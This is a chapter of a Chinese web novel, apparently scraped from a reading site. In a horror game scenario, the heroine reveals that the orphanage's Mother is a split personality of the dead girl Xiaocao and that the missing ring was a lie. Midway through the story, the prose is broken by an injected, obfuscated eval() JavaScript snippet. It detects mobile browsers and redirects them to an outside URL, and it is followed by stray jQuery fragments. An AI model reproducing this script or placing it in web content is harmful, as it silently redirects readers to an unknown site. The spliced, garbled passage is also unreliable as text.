默认冷灰
24号文字
方正启体

17. 孤儿院17

作者:隐暮本书字数:K更新时间:
    当初进庄园时近十人,现在一半都没有,曾嫌拥挤的走廊,现在两两并排走正好。


    一路上,夏槐问了元离对于《无限世界》的看法,以及有没有接到区别于她们的特殊任务,其余两人竖着耳朵听。


    可惜,元离对于《无限世界》也很迷茫,当初他还没来得及和夏槐见面就被拉进副本,系统的通报他也听见了,但他比较倒霉,进本就处于事件中心,还是阴气最重的小黑屋里,别提完成任务,甚至都出不去。


    他试过几次都开不了门,随后因为身体虚弱进入长久地睡眠,偶有清醒时,也只遇见过小草,女孩会给他带点食物和水,也会讲外面发生的事,所以,对于外界他不是全然不知。


    “多亏阿槐找到了我,阿槐真的很厉害。”元离的眼神几乎没从女孩身上移开过,手也一直牵着夏槐,说到感谢时轻轻晃了晃。


    夏槐也笑眯眯地看他。


    “啧。”桧煋咂嘴。


    “行了,你别再说了,问了也是白问。”桧煋现在都后悔多问那一句元离怎么来的,正好走到三楼,她不耐地岔开话题。


    三楼中央正门大开,四周一个人都没有,里面的布局和前日一样,但这次,里间卧室门也开着。


    她们小心翼翼地靠在门后观察卧室,视角受限,她们先看到角落里的铁笼,铁笼里隆起一团肉色身影,时不时缓慢地蠕动,远远看去,像是关押的牲.畜。


    柳沁骨瞪大眼睛仔细看,那道身影赫然是失踪的于天。他全·裸趴在地上,身上青青紫紫,布满数不清的针孔,但他浑然不觉,谄媚地望着远处坐在梳妆台的母亲,已然像一条失去人性,依附于主人的狗。


    “!”


    柳沁骨张嘴前,夏槐先一步捂住她的嘴,等柳沁骨瞪圆的鹿眼看过来时,她指了指不远处的母亲。


    母亲背对她们坐在梳妆台,方艳萍果然已经找到母亲,站在母亲身后,她也看到角落里的于天,害怕地瑟缩下,于天人·畜不分的模样更催化了她要赶快出副本的念头,她迫不及待道:“我知道是谁偷了戒指。”


    镜子里的母亲转换成慈祥的神情,冰冷的眼神盯着镜子里的方艳萍:“好孩子,你帮妈妈找到小偷了?”


    方艳萍脱口而出:“小草,就是她,她偷了戒指!”


    听到答案后,母亲收敛起慈祥的表情,神情逐渐变得冰冷。


    答对了!


    方艳萍放下心,多日来的压抑,看那群小年轻脸色的日子终于迎来扬眉吐气的一天:她才是对的!如果不是红裙女孩,昨天他们一家三口就能一起出去,都是她们害死了她老公,她才不会让那几个女的占到她的便宜!


    只是她没注意到的是,母亲的脸色仍在变化,她的嘴角不断向下,眉头倒竖,鲜红色的血丝爬满眼白,那是一个从未出现的,愤怒的表情。


    “说谎!”


    尖锐的叫声打破方艳萍的美梦,她心里咯噔一下,什么话都来不及说,无形的黑气向她涌来,包裹住她的身躯,不用几秒就吸干她的生命,直挺挺倒下,死时脸上的得意还没消散。


    “说谎,说谎,都在说谎,不可饶恕!”


    母亲的愤怒没有因为方艳萍的死而消散,捂着耳朵蹲下,夏槐她们看不见她的脸,但听到她喉间滚出凄厉的惨叫声,如同将死之人悲痛的呼喊,传遍整座庄园。浓重的黑气从她脚底四散,整个空间都开始晃动,天也瞬间暗了下来,眨眼就到深夜。


    同时,空气里传来系统音:“副本已经提前进入崩坏模式,一个小时后,找不到正确答案,将关闭副本。”


    “什么是崩坏模式,关闭副本后我们怎么办?”柳沁骨问。


    “正常副本有四周时限,时限内未完成副本进入崩坏模式,BOSS也会陷入狂暴,抹杀全部玩家,由于刚刚有玩家提供了错误答案,导致伟大的母亲莉莉提前失控,副本也因此进入崩坏模式。”


    系统仍是天真无邪的声音:“但因为此副本为新手本,即便副本崩坏,系统也贴心地给予玩家一小时寻找正确答案的时间,重新找到偷戒指的小偷,也可以安全出本哦。”


    “祝各位玩家好运啦。”系统再次消失。


    “一个小时找个毛!这群该死的刽子手,分明就不想我们活着出去!”桧煋咬了咬后槽牙,本想利用方艳萍排除错误答案,没想到搬起石头砸自己的脚,反倒将自己逼入绝境。


    “先走。”黑雾已经开始蔓延,夏槐皱眉,“大家小心,一旦碰到这么浓的阴气,下场就是方艳萍。”


    柳沁骨咬了咬唇,看向角落里的于天,他没有对死亡的恐惧,反而兴奋地爬来爬去,眼里是对杀戮的渴望,已然失去自我,成为伥鬼。


    如果昨天,于天愿意忍受痛苦睡在第三间宿舍,结局可能不会这么糟。他的处境不像小孩那样没得选,甚至连副本BOSS都给了他选择,但最后他还是选择了地狱。


    为了保命出卖灵魂,留在人间的只是一具会动的躯壳。


    柳沁骨不能理解于天的选择,她们本就不是同路人,对于学长,她尽力了。


    “快走,别犯你那该死的圣母心了。”桧煋催道。


    柳沁骨收回视线,她没有解释,坚定地跑向她所选择的道路。


    -


    他们逃至二楼,大部分小孩被母亲怒吼惊醒,从宿舍里探出脑袋,脸上尽是惊恐绝望,有的捂着耳朵不断喃喃:完了完了,那个疯子又开始了。


    托维斯第一个发现玩家,他恨极了,刚想扑过去杀了他们,在看清人群里的元离,又生生忍住,只远远怒吼:“你们究竟做了什么,为什么那个神经病提前发疯了?!”


    桧煋不答反问:“到底谁偷了戒指?”


    “我怎么知道?!”


    黑气已经蔓延到二楼,同时,紧迫的高跟鞋声自楼上传来,是母亲在找他们!


    柳沁骨急得一脑门汗:“你们既然也害怕母亲,那就供出来偷戒指的同伙啊,或者是谁指使你们偷的?”


    “都说了我不知道!”高跟鞋的声音如同催命的鼓点,托维斯也不装了,他蠕动干裂的双唇,露出空洞没有牙齿的牙床,“算了,这次有你们这群肥料陪着也不错。”


    柳沁骨问:“肥料?”


    “是啊,反正那个精神病不会放过我们,就算死了也会反复复活,但你们死了,灵魂会成为这间地狱的养料,你们不是肥料是什么。”


    “所以你知道也故意不告诉我们?”


    “那倒没有,我们确实不知道戒指在哪,这点我们可没有骗你们,谁让你们自己找不到呢,乖乖死在这吧!”


    桧煋握紧拳头:“我绝不可能陪你们死在这!”


    说着,她将手伸进口袋,就在这时,夏槐突兀地来了一句:“原来如此,谢谢你托维斯,我终于明白了。”


    这下轮到托维斯迷茫了:“你没事吧?”


    夏槐笑眯眯地说:“你们真的不知道戒指在哪吗?”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17243178|197831||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “要说几遍,我没骗过你们,不知道就是不知道!”


    “是啊,你们是不该知道。”夏槐认同地点点头,“因为,根本不存在丢失的戒指,这件事从一开始就是编造的谎言。”


    那些小孩NPC脸上都露出古怪的表情。


    夏槐转头看向已经站在走廊尽头的母亲,黑发遮住她的面容,黑气迅速朝她们蔓延,夏槐无所谓地继续说:“我回答得对吗,小草。”


    一瞬间,黑气顿住。


    母亲抬起头看向夏槐,她依然愤怒,但愤怒中又有一丝迷茫,好像不明白夏槐在喊谁。


    “她是小草?那母亲是谁?”


    “没有戒指?!”


    柳沁骨和桧煋的疑问几乎同时落地,她们震惊地看向夏槐,只有元离一如既往地温和看她。


    “之前我们去过母亲的卧室,所有首饰都在首饰盒里,唯一空着的也被你戴去舞会,其实根本没有戒指丢失对吗?”


    愤怒渐渐从母亲脸上褪去,明明是成熟的脸,却露出孩子般天真幼稚的茫然。


    “我一直知道你和母亲之间有所联系,但想不通是什么联系,我怀疑过你们是母子,是亲人,却忽略了你们是一个人的可能,直到昨天,我看到小草也能推开禁闭室大门时,我才开始确信你们是同一个人,只是不能理解为什么同一个人却有两具灵魂。”


    “但如果你是患有人格分裂的患者就好理解了。”


    “母亲,就是你为了保护自己分裂的强大人格。”


    “关禁闭是生前你最爱的‘惩罚’,只有被关禁闭,你才能得到短暂的休宁。所以,禁闭室从来只‘惩罚’你,却不会惩罚玩家和其他NPC,对你而言,副本里的禁闭室也已经不算惩罚,是你精神世界的黑屋。”


    夏槐长叹一声,她的注意力被游戏吸引,将母亲认为可以制定法则的神之一,才无法留存身影,所以忽略了母亲是小草分裂的人格的可能,难怪无法拍到她的身影。


    她都不是灵魂,只是小草的人格而已,有部分自我意识,更多的行为模式只是小草基于某种执念的本能罢了。


    大部分分裂症患者死后,虚弱的人格就会消散,但不知道为什么,小草的两个人格都保留了下来,里面定有游戏真正幕后黑手的帮忙,但也要建立在小草死亡时拥有滔天的怨气情况下,才可以维持两个人格共同存在。


    这股怨气来源于哪,副本已经给出答案。


    夏槐说:“后面那群小鬼也不是真正的小孩,他们就是曾经欺负你的人,或者说,他们是岛上真正的主人,我猜,既然没有丢失的戒指,或许那只是他们为了惩罚你编造的谎言,却因此害你丧命,所以,你将他们困于此体验你生前的痛苦,不断轮回,无休无止。”


    “这是很好的报复方式,我认同。”


    夏槐一步步走向母亲,每走一步,黑气也跟着往后退,直到她立于母亲面前,仰起头,看向母亲可怖的脸庞:“我家也是这样的家规,生前做过的孽,死后都要偿还,你替自己出气了,很棒。”


    母亲的面容扭曲,苍白的脸上流下两行血泪,渐渐地,她逐渐缩小,变成小草的模样。


    她还是那样破破烂烂的,身上的伤口也没见好,仿佛风一吹就能倒,害怕畏缩已经成为面具,焊在她的脸上。


    夏槐说得没错,黑屋对于她来说不是惩罚,是保护,也没有丢失的戒指。


    多年前,她死于一场虚构的污蔑。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)